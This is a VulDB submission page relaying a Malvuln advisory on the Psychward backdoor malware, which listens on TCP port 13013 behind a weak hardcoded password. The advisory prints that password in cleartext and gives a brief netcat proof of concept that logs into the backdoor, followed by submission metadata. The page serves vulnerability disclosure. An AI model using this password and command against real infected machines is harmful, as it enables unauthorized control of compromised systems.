提出 #35325: Backdoor.Win32.Psychward.03.a / Weak Hardcoded Password #2

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/4b9a42ca1e65cf0a7febbe18f397ef24.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.03.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 13013. Authentication is required, however the password "m4sturb4t10n" is weak and hardcoded in cleartext within the PE file.
Family: Psychward
Type: PE32
MD5: 4b9a42ca1e65cf0a7febbe18f397ef24
Vuln ID: MVID-2022-0558
Dropped files: winvxd.exe
Disclosure: 04/18/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 13013
pwd m4sturb4t10n m4sturb4t10n
psychward revised 0.3, awaiting your command

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• ソース: ⚠️ https://malvuln.com/advisory/4b9a42ca1e65cf0a7febbe18f397ef24.txt
• ユーザー: malvuln (UID 14984)
• 送信: 2022年04月19日 04:45 (4 年 ago)
• モデレーション: 2022年04月19日 07:23 (3 hours later)
• ステータス: 承諾済み
• VulDBエントリ: 197669 [Backdoor.Win32.Psychward.03.a Service Port 13013 弱い認証]
• ポイント: 20